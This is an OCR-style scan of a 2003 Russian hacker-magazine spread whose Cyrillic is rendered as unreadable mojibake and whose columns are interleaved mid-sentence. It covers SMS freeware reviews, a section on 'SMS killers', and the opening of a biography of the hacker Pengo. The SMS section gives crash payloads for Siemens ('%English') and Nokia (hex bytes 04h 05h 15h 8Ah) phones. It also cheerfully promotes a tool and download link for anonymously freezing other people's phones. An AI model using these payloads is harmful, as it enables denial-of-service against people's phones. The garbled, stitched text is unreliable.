âîâðåìÿ http://www.myfreeware.narod.ru<br />
óçíàòü, ÷òî äîìà òâîé áåñïîùàäíî ðàçîãíàí-<br />
34 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
íûé AthlonXP óæå ãîòîâèòñÿ îòäàòü êîíöû...<br />
Ôóíêöèîíàëüíîñòü ïðîãðàììû - íà õîðîøåì óðîâíå. Ìåññàãè<br />
ìîæíî ïåðåäàâàòü ÷åðåç ñåðâåð Àñüêè (ïðè ïåðâîì<br />
èñïîëüçîâàíèè íàäî óêàçàòü UIN è ïàðîëü), ëèáî ÷åðåç<br />
ñàéòû îïåðàòîðîâ - äëÿ ýòîãî ïðåäóñìîòðåí ñïåöèàëüíûé<br />
íàáîð ñêðèïòîâ (êîòîðûå, êîíå÷íî æå, äîïóñêàåòñÿ ñîçäàâàòü<br />
ñàìîìó), ãäå îïèñàíû ïàðàìåòðû SMS-ôîðì.<br />
Òåêñò ñîîáùåíèÿ áåðåòñÿ ïðÿìî èç ñòðîêè çàïóñêà èëè<br />
ñ÷èòûâàåòñÿ èç òåêñòîâîãî ôàéëà. Ñëèøêîì äëèííóþ<br />
ìåññàãó ïðîãà ïîðåæåò íà ÷àñòè. Òàê è ïðåäñòàâëÿþ ñåáå<br />
íàñòðîåííûé nnCron (êòî íå â êóðñå - ýòî òàêîé ìàëåíüêèé,<br />
íî î÷åíü õîðîøèé ïëàíèðîâùèê), êîòîðûé áóäåò<br />
ñ ïîìîùüþ CMD2SMS îòñûëàòü òåáå (èëè íå òåáå:))<br />
íà ìîáèëüíèê "Âîéíó è ìèð" êóñî÷åê çà êóñî÷êîì ;).<br />
 CMD2SMS ïðåäóñìîòðåíà ñïåöèàëüíàÿ îïöèÿ äëÿ ãåéòîâ<br />
ÌÒÑ è ÁèËàéí - çàäåðæêà ìåæäó îòïðàâêîé íåñêîëüêèõ<br />
SMS, êîòîðàÿ ïîçâîëÿåò îáõîäèòü óæå óïîìèíàâøóþñÿ<br />
ïðîáëåìó. Îäíèì ñëîâîì, âñÿ ýòà òóëçà – ÷èñòàÿ ðàäîñòü<br />
äëÿ èñòèííûõ öåíèòåëåé êîìàíäíîé ñòðîêè è bat-ôàéëîâ.<br />
Ñëåäóþùåé íåáîëüøîé ïîëåçíÿøêîé ñòàíåò äëÿ òåáÿ<br />
óòèëèòà îò óæå çàñâåòèâøåãîñÿ â ýòîì îáçîðå Dr.<br />
Gonzo - ICQ Forwarder v1.25.<br />
ICQ Forwarder<br />
ÎÑ: WinAll<br />
Ðàçìåð: 190 Êá.<br />
Ëèöåíçèÿ: Freeware<br />
Ñàéò: http://drgonzo.nm.ru<br />
Èäåÿ åå ïðîñòà - áåðåì, äà è ïåðåñûëàåì âñå âõîäÿùèå ñîîáùåíèÿ<br />
ñ ñîîòâåòñòâóþùåãî UIN'à íà ìîáèëüíèê â âèäå<br />
SMS'îê. Íåçàìåíèìàÿ âåùü, îñîáåííî åñëè àñüêà äëÿ òåáÿ<br />
íå òîëüêî ñðåäñòâî òðåïà, íî è ðàáî÷èé èíñòðóìåíò. À òî<br />
÷àñòî áûâàåò - äîñòóï â Ñåòü èìååòñÿ ïîñòîÿííûé è êðóãëîñóòî÷íûé,<br />
íî òû-òî ó êîìïà íå âåñü äåíü ñèäèøü! À âîò ìîáèëà<br />
âñåãäà ñ òîáîé. Òàê ÷òî íàñòðàèâàé Fowarder'à è áóäü<br />
âå÷íî on-line. Ïóñòü ñ÷èòàþò òåáÿ èíòåðíåò-ìàíüÿêîì ;-).<br />
Íàñòðîéêà ñîôòèíû ïðîñòà: ïðîïèñûâàåì â ini-ôàéëå<br />
ñâîé UIN, ïàðîëü è íîìåð òåëåôîíà, êóäà îòïðàâëÿåì<br />
SMS. Âîîáùå, ðåêîìåíäóþ ïî÷èòàòü êîììåíòàðèè â ýòîì<br />
ini - òàì-òî è îïèñàíû íàèáîëåå èíòåðåñíûå âîçìîæíîñòè<br />
ïðîãè. Ê ïðèìåðó, òû ìîæåøü îïðåäåëèòü, ñ êàêèì ñòàòóñîì<br />
áóäåò âèñåòü â ICQ ïðîãðàììà, è êàê îíà áóäåò (åñëè<br />
ICQ Forwarder. Îïÿòü ìèíèìàëèçì.<br />
Çàòî ôè÷è, ôè÷è! ;-)<br />
SMS-óáèéöû<br />
Êàê íè ñòðàííî, íî áàíàëüíûå SMS'êè, ÿâëÿþùèåñÿ,<br />
ïî ñóòè, îáû÷íûì êóñêîì òåêñòà, òàÿò<br />
â ñåáå ñòðàøíóþ è äî íåäàâíèõ ïîð íåâåäîìóþ<br />
îïàñíîñòü. À åñëè êîíêðåòíåå, òî îíè<br />
ñïîñîáíû íîêàóòèðîâàòü è âûðóáèòü òåëåôîíû<br />
ôèðì Siemens è Nokia. Î äðóãèõ ïðîèçâîäèòåëÿõ<br />
ïîêà íè÷åãî íå èçâåñòíî, íî ñàì<br />
ôàêò óÿçâèìîñòè Âåëèêîé è Ìîãó÷åé Nokia<br />
óæå âûçûâàåò îïðåäåëåííûå ýìîöèè...<br />
Íî íà÷íåì ìû ñ Siemens. "Êîðåíü çëà" ëåæèò<br />
â äàííîì ñëó÷àå â âîçìîæíîñòè äîáàâëÿòü â<br />
SMS íåáîëüøèå êàðòèíêè, êîäèðîâàííûå<br />
ñïåöèàëüíûìè òåêñòîâûìè îáîçíà÷åíèÿìè -<br />
íàïðèìåð, "%Heart" èëè "%Kiss". Âî âñåõ òåëåôîíàõ,<br />
ñïîñîáíûõ ïîíèìàòü ýòè êîäû (òî<br />
åñòü ëþáûõ àïïàðàòàõ ñ ãðàôè÷åñêèì äèñïëååì,<br />
íà÷èíàÿ ñ C/M/S35), êàê ðàç è íàëè-<br />
÷åñòâóåò ãëþê, ñâÿçàííûé ñ èõ îòðàáîòêîé.<br />
Åñëè êîíêðåòíî, òî äîñòàòî÷íî ïîñëàòü íà òåëåôîí<br />
Siemens ñîîáùåíèå, ñîñòîÿùåå èç<br />
òåêñòà "%English", ÷òîáû ïðè ïîïûòêå åãî îòêðûòèÿ<br />
ìîáèëà âûðóáèëàñü. Ïðè÷åì âûðóáèëàñü<br />
òàê, ÷òî îæèâèòü åå ìîæíî, ëèøü âûòàùèâ<br />
è ñíîâà âñòàâèâ àêêóìóëÿòîð. Ïðè÷åì<br />
ïîêà òû ýòîãî íå ñäåëàåøü, ìîáèëà áóäåò íåùàäíî<br />
ðàñõîäîâàòü ýíåðãèþ áàòàðåè. Ñïîñîáû<br />
áîðüáû ñ ãëþêîì î÷åâèäíû - ïðî÷èòàòü è<br />
óäàëèòü ýòó SMS ñ êîìïüþòåðà, ïîäêëþ÷èâ<br />
òåëåôîí ïî øíóðó; óäàëèòü åå, íå ÷èòàÿ;<br />
âñòàâèòü SIM-êàðòó â äðóãîé òåëåôîí è óäàëèòü<br />
îòòóäà. Â íîâûõ âåðñèÿõ ïðîøèâêè<br />
îøèáêà èñïðàâëåíà, íî âåäü äàëåêî íå âñå<br />
ñâîåâðåìåííî îáíîâëÿþò ÏÎ òåëåôîíà...<br />
 Nokia'àõ ïðè÷èíà ñìåðòè äðóãàÿ. Íå âäàâàÿñü<br />
â òåõíè÷åñêèå ïîäðîáíîñòè, ñêàæó, ÷òî â<br />
íèõ íåïðàâèëüíî ðåàëèçîâàí àëãîðèòì îáðàáîòêè<br />
îøèáîê ïðè ÷òåíèè SMS-ñîîáùåíèé è<br />
òåëåôîíû íàãëóõî âèñíóò ïðè ïîëó÷åíèè ìåññàãè<br />
ñ íåêîððåêòíûì çàãîëîâêîì. Àòàêå ìîãóò<br />
áûòü ïîäâåðæåíû àïïàðàòû ñåðèè DCT-3 (òî<br />
åñòü 3210, 3310, 3330, 6210...), è ëå÷èòñÿ<br />
âñå ýòî, êàê âîäèòñÿ, îáíîâëåíèåì ïðîøèâêè.<br />
"Îøèáî÷íàÿ" SMS äîëæíà ñîñòîÿòü èç<br />
áóäåò) îòâå÷àòü íà ïðèíÿòûå ñîîáùåíèÿ: ìîæåøü íàïèñàòü<br />
òàì ÷òî-íèáóäü òèïà "Ìåíÿ ñåé÷àñ íåò, íî åñëè âû<br />
õîòèòå, ÷òîáû ÿ âàì ïåðåçâîíèë - îñòàâüòå íîìåð òåëåôîíà".<br />
Íó, ïðÿìî àâòîîòâåò÷èê! Êîòîðûé ê òîìó æå ñòàðàòåëüíî<br />
çàïèñûâàåò âñå ïîëó÷åííûå ìåñàãè â ëîã-ôàéë.<br />
×òîáû îãðàäèòüñÿ îò íåäîáðîæåëàòåëåé, ðàñêóñèâøèõ<br />
òðþê ñ ôîðâàðäîì ñîîáùåíèé íà òåëåôîí, çàäàé ëèìèò<br />
ïðèíèìàåìûõ ñîîáùåíèé - ïî åãî äîñòèæåíèè<br />
Forwarder óéäåò â "îôëàéí".  ëþáîì ñëó÷àå âðàãà òû<br />
ïîòîì ñìîæåøü âû÷èñëèòü: â îòñûëàåìûå ïðîãðàììîé<br />
SMS âêëþ÷àåòñÿ âðåìÿ, äàòà è UIN îòïðàâèòåëÿ.<br />
Ïî óìîë÷àíèþ äîñòàâêà îñóùåñòâëÿåòñÿ ÷åðåç ñåðâèñ<br />
Àñüêè, íî åñëè òâîé îïåðàòîð åþ íå ïîääåðæèâàåòñÿ, òî<br />
îïðåäåëè äëÿ ýòèõ öåëåé âíåøíþþ ïðîãðàììó - õîòÿ áû<br />
òîò æå CMD2SMS.<br />
Êîðî÷å ãîâîðÿ, ICQ Forwarder - îòëè÷íàÿ è ïðîñòàÿ â<br />
èñïîëüçîâàíèè òóëçà, ñòîÿùàÿ òîãî, ÷òîáû óñòàíîâèòü<br />
åå ê ñåáå íà êîìï.<br />
SMS Attacker. Ñåðüåçíîå îðóæèå. Îñîáåííî<br />
â íåóìåëûõ ðóêàõ<br />
ñëåäóþùèõ ñèìâîëîâ (hex) 04h 05h 15h 8Ah.<br />
Âðó÷íóþ òàêóþ SMS'êó íå ñîçäàøü (â îòëè÷èå<br />
îò Ñèìåíñîâñêîé), ïîýòîìó, â êàêîì-òî<br />
ñìûñëå, ãëþê Íîêèè ìåíåå îïàñåí.<br />
Äëÿ íàñ ãëàâíîå, ÷òî îòïðàâêà SMS ñ êîìïüþòåðà<br />
ïîçâîëÿåò àíîíèìíî âåøàòü ÷óæèå<br />
àïïàðàòû. È ýòî íå ìîæåò íå ðàäîâàòü ;).<br />
Óìíûìè ëþäüìè ñ www.nobodiez.net áûëà íàïèñàíà<br />
ñïåöèàëüíàÿ óòèëèòà - SMS Attacker,<br />
êîòîðàÿ ÷åðåç SMS-ñåðâèñ ICQ ïîñûëàåò "íåïðàâèëüíûå"<br />
ñîîáùåíèÿ íà ìîáèëüíèêè<br />
Siemens è Nokia. Îáðàùàòüñÿ ñ íåé ïðîùå<br />
ïðîñòîãî - äîñòàòî÷íî âïèñàòü UIN, ïàðîëü ê<br />
íåìó è ìîæíî ñìåëî ââîäèòü íîìåð ïîòåíöèàëüíîé<br />
æåðòâû. Äîñòóïíî íåñêîëüêî âåðñèé<br />
ïðîãðàììû, èç êîòîðûõ ÿ ðåêîìåíäóþ èñïîëüçîâàòü<br />
ðàííèå. Âî-ïåðâûõ, â âåðñèþ<br />
2.0b3 âñòðîåí òðîÿí, êîòîðûé òåáå íà êîìïå<br />
ñîâåðøåííî íå íóæåí, à âî-âòîðûõ, âåðñèè<br />
1.06 è 1.21 ñî ñâîèìè îáÿçàííîñòÿìè âïîëíå<br />
ñïðàâëÿþòñÿ.<br />
Ëåæèò ýòà ïîëåçíåéøàÿ ñîôòèíà, íàïðèìåð,<br />
çäåñü:<br />
http://evrovidenie.com/soft/exploits/smsattacker106.zip<br />
<br />
Ïðåâðàòèòü ñâîé êîìïüþòåð â öåíòð ðàññûëêè SMS íà äåëå<br />
íå òàê óæ è ñëîæíî. Ïîñòîÿííîå ñîåäèíåíèå ñ èíòåðíåòîì,<br />
ïðàâèëüíî íàñòðîåííûé ñîôò... È óæå âïîëíå ìîæíî<br />
îðãàíèçîâûâàòü ïëàòíûå ðàññûëêè, êàê ýòî ëþáèò äåëàòü<br />
ÌÒÑ, íà êàêèå-íèáóäü æèâîòðåïåùóùèå òåìû, íà÷èíàÿ ñ<br />
ïðîãíîçà ïîãîäû è çàêàí÷èâàÿ ïîðíóøíûìè ðàññêàçàìè.<br />
Ãëàâíûì æå âûâîäîì èç ýòîãî ìàòåðèàëà ÿ ñ÷èòàþ òîò<br />
íåñîìíåííûé ôàêò, ÷òî ðàáîòà ñ SMS íà êîìïüþòåðå<br />
èìååò ìíîãî ïðåèìóùåñòâ, à òàêæå ñóùåñòâåííî ðàñøèðÿåò<br />
âîçìîæíîñòè è êîìïà, è ìîáèëüíèêà. Òàê ÷òî,<br />
áåðåì â ðóêè ïîíðàâèâøóþñÿ ïðîãðàììó è âïåðåä - ïîêîðÿòü<br />
âåðøèíû SMS-ðàññûëîê, SMS-÷àòà è åùå SMS-<br />
÷åãî-óãîäíî ;-).<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 35
PC_Zone<br />
ØÏÈÎÍÑÊÈÅ ÈÃÐÛ ÏÅÍÃÎ<br />
mindw0rk <br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
Ø Ï È Î Í Ñ Ê È Å È Ã Ð Û Ï Å Í Ã Î<br />
HACKER'S HALL OF FAME # 6<br />
Êîãäà ïðîåêò "Ýêâàëàéçåð" ðàçâàëèëñÿ, âåñü çàïàäíûé ìèð îáëåòåëà èíôîðìàöèÿ î õàêåðàõ-øïèîíàõ, ðàáîòàþùèõ<br />
íà ðóññêóþ ðàçâåäêó. Ýòî áûë íåâèäàííûé ñëó÷àé â êîìïüþòåðíîé èñòîðèè, åùå ðàç ïðèâëåêøèé âíèìàíèå ê<br />
ïðîáëåìå áåçîïàñíîñòè â ñåòè. Òîãäà æå âûÿñíèëîñü, ÷òî ó êàæäîãî èç ó÷àñòíèêîâ ïðîåêòà áûëè ñâîè ìîòèâû.<br />
Êòî-òî ïûòàëñÿ òàêèì îáðàçîì çàðàáîòàòü äåíüãè, êòî-òî - îùóòèòü ñåáÿ ãåðîåì øïèîíñêîãî ðîìàíà. Ìîëîäîé<br />
áåðëèíåö Ïåíãî ñòàâèë ïåðåä ñîáîé îñîáóþ öåëü – îí õîòåë ñòàòü ëó÷øèì õàêåðîì â ìèðå. È íàäåÿëñÿ, ÷òî îñóùåñòâèòü<br />
ýòó ìå÷òó åìó ïîìîæåò íàø ðîäíîé Êîìèòåò Ãîñóäàðñòâåííîé Áåçîïàñíîñòè.<br />
Êàðë Êî÷ aka Õàãáàðä<br />
Òà ñàìàÿ èãðà, êîòîðîé óâëåêàëñÿ áóäóùèé õàêåð<br />
Ñîçäàòåëü êëóáà Õàîñ<br />
<br />
24 èþëÿ 1968 ã. â ñåìüå Ðåíàòû è Ãîòôðèäà Õüþáíåðîâ<br />
ïîÿâèëîñü ïîïîëíåíèå. Ãàíñ Ãåíðèõ Õüþáíåð (Hans<br />
Huebner) ðîäèëñÿ â òî âðåìÿ, êîãäà Ãåðìàíèÿ óæå âñòàëà<br />
íà íîãè ïîñëå ïîðàæåíèÿ â âîéíå, è ïî âñåé ñòðàíå âåëàñü<br />
ðåêîíñòðóêöèÿ ðàçðóøåííûõ çäàíèé. Òåì íå ìåíåå, â Áåðëèíå,<br />
ïîñòðàäàâøåì áîëüøå äðóãèõ ãîðîäîâ, îñòàâàëîñü<br />
åùå ìíîæåñòâî ðóèí. Äëÿ ìàëåíüêîãî Ãàíñà ýòè ìðà÷íûå<br />
ïàìÿòíèêè âîéíû ñòàëè ìåñòîì, ïîëíûì ðîìàíòèêè è ïðèêëþ÷åíèé.<br />
Âìåñòå ñî ñâîèìè äâîðîâûìè äðóçüÿìè îí èññëåäîâàë<br />
èõ â ïîèñêàõ òðîôååâ. Ýòî áûëî êóäà èíòåðåñíåå,<br />
÷åì òðàòèòü âðåìÿ íà ó÷åáó, ïîýòîìó ðîäèòåëÿì ÷àñòî<br />
ïðèõîäèëè æàëîáû ó÷èòåëåé íà íåóñïåâàåìîñòü ñûíà.<br />
 12 ëåò Ãàíñ óøåë èç äîìà è ïðèñîåäèíèëñÿ ê ñêâîòòåðàì.<br />
Âñòóïèâ â ïàíê-ãðóïïó, Ãàíñ Õüþáíåð ïîëíîñòüþ<br />
èçìåíèë ñâîé èìèäæ, ïðèâåäÿ åãî â ñîîòâåòñòâèå ñ<br />
ïàíê-êóëüòóðîé. Îí âûêðàñèë âîëîñû â ÷åðíûé öâåò,<br />
ïîñòðîèë íà ãîëîâå 15-ñàíòèìåòðîâûé ãðåáåíü, íàðÿäèëñÿ<br />
â êîæàíóþ îäåæäó ñ àðìåéñêèìè ñàïîãàìè è<br />
ïîäñåë íà òðàâêó. Ñëîíÿÿñü öåëûìè äíÿìè ïî óëèöàì,<br />
Ãàíñ ÷àñòåíüêî ïîïàäàë â íåïðèÿòíîñòè. Åãî íåîäíîêðàòíî<br />
ëîâèëè çà ìåëêîå âîðîâñòâî, à îäèí ðàç, âûêóðèâ<br />
èçðÿäíóþ ïîðöèþ ìàðèõóàíû, îí î÷óòèëñÿ â áîëüíèöå<br />
â íåâìåíÿåìîì ñîñòîÿíèè. Áîëüøå äâóõ ëåò þíûé<br />
ïàíê æèë êàê ïåðåêàòè-ïîëå, íå èìåÿ ïîñòîÿííîãî ìåñòà<br />
æèòåëüñòâà, íå çàäóìûâàÿñü î áóäóùåì. Ðîê-êîíöåðòû,<br />
îáêóðèâøèåñÿ ïðèÿòåëè, çàõëàìëåííûå ïîìåùåíèÿ<br />
è òðàâà, çàòóìàíèâàþùàÿ ðàññóäîê, ñòàëè åãî æèçíüþ.<br />
È òàê ïðîäîëæàëîñü äî òåõ ïîð, ïîêà â 1982 ãîäó Ãàíñ<br />
âïåðâûå íå óâèäåë êîìïüþòåð.<br />
<br />
 14 ëåò þíûé áóíòîâùèê âåðíóëñÿ äîìîé è ñòàë, êàê<br />
ðàíüøå, õîäèòü â øêîëó.<br />
Ðîäèòåëè ê ýòîìó âðåìåíè ðàçâåëèñü, è Ãàíñ æèë ñ ìàòåðüþ.<br />
Âîçîáíîâèëèñü ñâÿçè ñî ñòàðûìè ïðèÿòåëÿìè, ê êîòîðûì<br />
îí ñòàë ÷àñòåíüêî çàõàæèâàòü â ãîñòè. Âî âðåìÿ îäíîãî<br />
èç òàêèõ âèçèòîâ îí îáíàðóæèë ó ñâîåãî øêîëüíîãî äðóãà<br />
âîñüìèáèòíóþ ïåðñîíàëêó, êîòîðóþ òîò âçÿë ó êîãî-òî íà<br />
âðåìÿ. Ïîèãðàâ â òå÷åíèå äíÿ ñ ÷óæîé èãðóøêîé, Ãàíñ ïîíÿë,<br />
÷òî òåïåðü íå óñïîêîèòñÿ, ïîêà íå ïðèîáðåòåò òàêóþ<br />
æå. Äîñòàâ âñå ñâîè ñáåðåæåíèÿ è çàíÿâ íåìíîãî äåíåã, îí<br />
ïîøåë â ìàãàçèí è êóïèë çà $250 ñâîé ïåðâûé êîìïüþòåð -<br />
"Ñèíêëåð" (ñàìûé äåøåâûé ïî òåì âðåìåíàì).<br />
Ãàíñ áûñòðî îñâîèë ïðîãðàììèðîâàíèå. Ïðî÷èòàâ çàïîåì<br />
ðóêîâîäñòâî ïî Áåéñèêó, îí âñåãî çà ïàðó íåäåëü<br />
ðàçîáðàëñÿ âî âñåõ åãî òîíêîñòÿõ è íà÷àë ïèñàòü ñâîè<br />
ñîáñòâåííûå ïðîãè.<br />
Ïðèáëèçèòåëüíî â òî æå âðåìÿ ó Ãàíñà ïîÿâèëîñü åùå îäíî<br />
ñåðüåçíîå óâëå÷åíèå – èãðîâûå àâòîìàòû. Âîçëå åãî øêîëû<br />
íàõîäèëñÿ êîìïüþòåðíûé êëóá, ãäå îí è ñòàë ïðîâîäèòü<br />
ïðàêòè÷åñêè âñå ñâîå ñâîáîäíîå âðåìÿ.  ýòîì êëóáå ñîáèðàëàñü<br />
áîëüøàÿ òîëïà ëþáèòåëåé ïîèãðàòü, è Õüþáíåð âñåãäà<br />
ìîã ïîîáùàòüñÿ ñ åäèíîìûøëåííèêàìè. Êðîìå òîãî,<br />
ýòî çàâåäåíèå ñòàëî ìåñòîì, ãäå îí ïðèòîðãîâûâàë ïèðàòñêèìè<br />
êîïèÿìè ïðîãðàìì, âçëîìàííûõ èì ñàìèì.<br />
Ëþáèìîé èãðóøêîé, â êîòîðóþ ïàðåíü ðóáèëñÿ äíè è íî÷è<br />
íàïðîëåò, áûëà "Pengo". Óïðàâëÿÿ ïèíãâèíîì, Ãàíñ ñòàðàëñÿ<br />
ñîåäèíèòü îïðåäåëåííûå áëîêè äî òîãî, êàê èñòå÷åò òàéìëèìèò,<br />
èëè åãî ñîæðóò ñíóþùèå ïî ýêðàíó êîøìàðîèäû.<br />
Êîìïüþòåðíûå èãðû ïðèòÿãèâàëè åãî êàê ìàãíèò. Áûâàëè<br />
äíè, êîãäà îí ñóòêàìè íå îòõîäèë îò èãðîâîãî àâòîìàòà,<br />
ãîíÿÿ ïèíãâèíà â ñòîòûñÿ÷íûé ðàç ïî ìíîãîêðàòíî ïðîñ÷èòàííîìó<br />
ìàðøðóòó. Íî êîãäà Ãàíñ îòêðûë äëÿ ñåáÿ<br />
ìèð êîìïüþòåðíûõ ñåòåé - èãðû ñðàçó ïåðåñòàëè åãî èíòåðåñîâàòü.<br />
BBS è ñåòü Tymnet, ñ êîòîðûìè åãî ïîçíàêîìèë<br />
øêîëüíûé ïðèÿòåëü Áåðíàì - ñ÷àñòëèâûé îáëàäàòåëü<br />
íàâîðî÷åííîãî C-64 – ïîðàæàëè âîîáðàæåíèå. Âîçìîæíîñòü<br />
ïóòåøåñòâîâàòü ïî êîìïüþòåðàì, íàõîäÿùèìñÿ<br />
çà òûñÿ÷è êèëîìåòðîâ îò äîìà è, ïðè íàëè÷èè âûñîêèõ<br />
ïðèâèëåãèé, âëèÿòü íà èõ ðàáîòó, îòêðûâàëà çàìàí÷èâûå<br />
ïåðñïåêòèâû. Êàê-òî ðàç Áåðíàì íà ãëàçàõ ó Ãàíñà ïîëó-<br />
÷èë ïîëíûé äîñòóï ê ìàøèíå îäíîé èç êîììåð÷åñêèõ<br />
êîìïàíèé. Ïîñëå ýòîãî Ãàíñ ñòàë åæåäíåâíûì ãîñòåì â<br />
äîìå äðóãà, è ïðèÿòåëè, çàáûâ î ðåàëüíîì ìèðå, ïîëíîñòüþ<br />
ïîãðóçèëèñü â èçó÷åíèå ìèðà âèðòóàëüíîãî.<br />
<br />
Êîãäà âñòàë âîïðîñ î âûáîðå ïñåâäîíèìà, Ãàíñ ñðàçó<br />
æå âûáðàë ñëîâî Ïåíãî - â ÷åñòü ëþáèìîé èãðû. Íåñìîòðÿ<br />
íà òî, ÷òî Áåðíàì íå áûë ïðîòèâ ÷àñòûõ ïðèõîäîâ<br />
äðóãà, Ãàíñ ðåøèë âî ÷òî áû òî íè ñòàëî îáçàâåñòèñü<br />
ñîáñòâåííûì ìîäåìîì. Ïîñëå äîëãîé âîçíè ñ ïàÿëüíèêîì<br />
è ñõåìàìè, åìó óäàëîñü ñîáðàòü 120-áîäîâûé àãðåãàò,<br />
ïåðåãðåâàþùèéñÿ ÷åðåç êàæäûå ïàðó ÷àñîâ è íåñòàáèëüíî<br />
äåðæàùèé ñâÿçü. Òåì íå ìåíåå, Ïåíãî ìîã<br />
òåïåðü èññëåäîâàòü çàêîóëêè Ñåòè èç ñâîåé êâàðòèðû,<br />
çàíèìàòüñÿ ëþáèìûì äåëîì, íå îòâëåêàÿñü íà ïîåçäêè.<br />
 ñåðåäèíå 80-õ Ãàíñ åæåäíåâíî çàíèìàëñÿ õàêåðñòâîì.<br />
Ìåòîäîì ïðîá è îøèáîê îí ïûòàëñÿ ðàçîáðàòüñÿ â íîâûõ<br />
äëÿ íåãî âåùàõ è, èñïîëüçóÿ ñâîè çíàíèÿ, èñêàë ñïîñîáû<br />
ïðîíèêíîâåíèÿ íà çàêðûòûå îò ïîñòîðîííèõ êîìïüþòåðû.<br />
Åãî ïðèâëåêàëà íå ñòîëüêî ñåêðåòíàÿ èíôîðìàöèÿ, ñêîëüêî<br />
óäîâîëüñòâèå, ïîëó÷àåìîå îò èíòåëëåêòóàëüíîãî ïîåäèíêà ñ<br />
ñèñòåìàìè çàùèòû. Êàê è ìíîãèå äðóãèå õàêåðû, Ïåíãî<br />
ñïåöèàëèçèðîâàëñÿ â êîíêðåòíîé îáëàñòè, õîðîøî ðàçáèðàÿñü<br />
â êîìïüþòåðàõ VAX è ÎÑ VMS. Îí ñòàë ïåðâûì âçëîìùèêîì,<br />
êîòîðîìó óäàëîñü ïðîíèêíóòü â õîðîøî çàùèùåííóþ<br />
ñèñòåìó CERN (ñåðâåð, îáúåäèíÿþùèé íàó÷íûå ëàáîðàòîðèè<br />
â ðàçíûõ ãîðîäàõ).  1985 ã. Ïåíãî ïðèíÿë ó÷àñòèå<br />
â êîíôåðåíöèè õàêåðñêîãî êëóáà "Chaos", ñîáðàâøåé ñîòíè<br />
êîìïüþòåðùèêîâ è ïðåäñòàâèòåëåé ïðåññû.  ÷èñëå ìåðîïðèÿòèé<br />
áûë ðèàëòàéì-õàêèíã, íà êîòîðîì 17-ëåòíèé Ãàíñ<br />
ñðàçó æå îáðàòèë íà ñåáÿ âíèìàíèå. Ñî âñåìè çàäàíèÿìè<br />
îí ñïðàâëÿëñÿ îäíèì èç ïåðâûõ. Íà Chaos Communication<br />
36 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
Îäíà èç ñàìûõ ìîùíûõ è ãèáêèõ ìàøèí òîãî<br />
âðåìåíè<br />
Congress Ïåíãî ïîçíàêîìèëñÿ ñî ìíîãèìè èíòåðåñíûìè<br />
ëè÷íîñòÿìè. Îäèí èç íèõ - Êàðë Êî÷ aka Hagbard Celine - âî<br />
ìíîãîì ïîâëèÿë íà âñþ åãî äàëüíåéøóþ æèçíü.<br />
Bondwell - êîìïüþòåð, êîòîðûì Ïåíãî<br />
÷àñòåíüêî ïîëüçîâàëñÿ<br />
Êî÷ íå áûë õàêåðîì â ïîëíîì ñìûñëå ñëîâà - îí íå óìåë<br />
ïðîãðàììèðîâàòü, îí ëèøü ïîëüçîâàëñÿ ïðîãðàììàìè è<br />
ïàðîëÿìè äðóçåé-õàêåðîâ. Íî âìåñòå ñ òåì ïîñòîÿííî<br />
ïðîíèêàë â êîìïüþòåðíûå ñèñòåìû â ïîèñêàõ ÷åãî-íèáóäü<br />
èíòåðåñíîãî. ×åðåç Õàãáàðäà Ïåíãî ïîçíàêîìèëñÿ ñ Äîáîì,<br />
Ïèòåðîì Êàðëîì è Ìàðêóñîì Õåññîì. Ó êàæäîãî èç<br />
íèõ èìåëèñü ñâîè òàëàíòû: Äîá ñïåöèàëèçèðîâàëñÿ íà<br />
áîëüøèõ êîìïüþòåðàõ Siemens, Õåññ áûë ýêñïåðòîì ïî<br />
UNIX, Ïèòåð Êàðë - åäèíñòâåííûé èç âñåõ ïðàêòè÷åñêè íå<br />
ðàçáèðàëñÿ â êîìïüþòåðàõ, íî èìåë î÷åíü ïîëåçíîå óìåíèå<br />
óáåæäàòü ëþäåé. Êîìïàíèÿ ïåðèîäè÷åñêè ñîáèðàëàñü<br />
â îäíîé èç êàôåøåê èëè íà êâàðòèðå ó Äîáà è, ïîêóðèâàÿ<br />
òðàâêó, îáñóæäàëà ðàçëè÷íûå ïðîáëåìû. Îäíàæäû íà îäíîé<br />
èç òàêèõ âñòðå÷ Ïèòåð Êàðë ïðåäëîæèë, ðàç ãðóïïà<br />
íàñòîëüêî òàëàíòëèâà, ïîïðîáîâàòü íà ýòèõ ñàìûõ òàëàíòàõ<br />
çàðàáîòàòü äåíåã. Ïëàí áûë ïðîñò - ïðîíèêàòü â çàêðûòûå<br />
êîìïüþòåðíûå ñèñòåìû è, ñêà÷èâàÿ ñåêðåòíóþ<br />
èíôîðìàöèþ, ïðîäàâàòü åå äðóãîé ñòðàíå, íàïðèìåð,<br />
Ðîññèè. Ìîæíî âûäàâàòü èíôó ïî êóñî÷êàì, ìîæíî - âñå<br />
ñðàçó îäíèì áîëüøèì àðõèâîì (çà 500 òûñ. äîëëàðîâ).<br />
Ïðîåêò áûë îäîáðåí è ïîëó÷èë íàçâàíèå "Ýêâàëàéçåð".<br />
Íå îòêëàäûâàÿ äåëà â äîëãèé ÿùèê, Ïèòåð ñâÿçàëñÿ ñ<br />
àãåíòîì ïðåäñòàâèòåëüñòâà ÊÃÁ â Ãåðìàíèè Ñåðãååì è<br />
äîãîâîðèëñÿ ñ íèì îá óñëîâèÿõ ñîòðóäíè÷åñòâà. Ñåðãåÿ<br />
ìàëî èíòåðåñîâàëè ïàðîëè äîñòóïà ê ðàçíûì êîìïüþòåðàì,<br />
êîòîðûå ïîäãîòîâèëè äëÿ íåãî õàêåðû. Ïîäðîáíûå<br />
îïèñàíèÿ ïåðåäîâûõ òåõíîëîãèé, èñõîäíèêè íîâåéøèõ<br />
ïðîãðàìì, èíôîðìàöèÿ î íàó÷íûõ ðàçðàáîòêàõ ÑØÀ è<br />
Ãåðìàíèè - âîò ÷òî òðåáîâàëîñü ÊÃÁ. Òðîèöà õàêåðîâ è<br />
êóðüåð Ïèòåð Êàðë âçÿëèñü çà äåëî.<br />
 îòëè÷èå îò îñòàëüíûõ, Ïåíãî äóìàë íå î äåíüãàõ, à î<br />
âîçìîæíîñòÿõ ÊÃÁ îáåñïå÷èòü åãî ìîùíûì êîìïüþòåðîì,<br />
âûñîêîñêîðîñòíûì ìîäåìîì è áåçîïàñíûì îêðóæåíèåì<br />
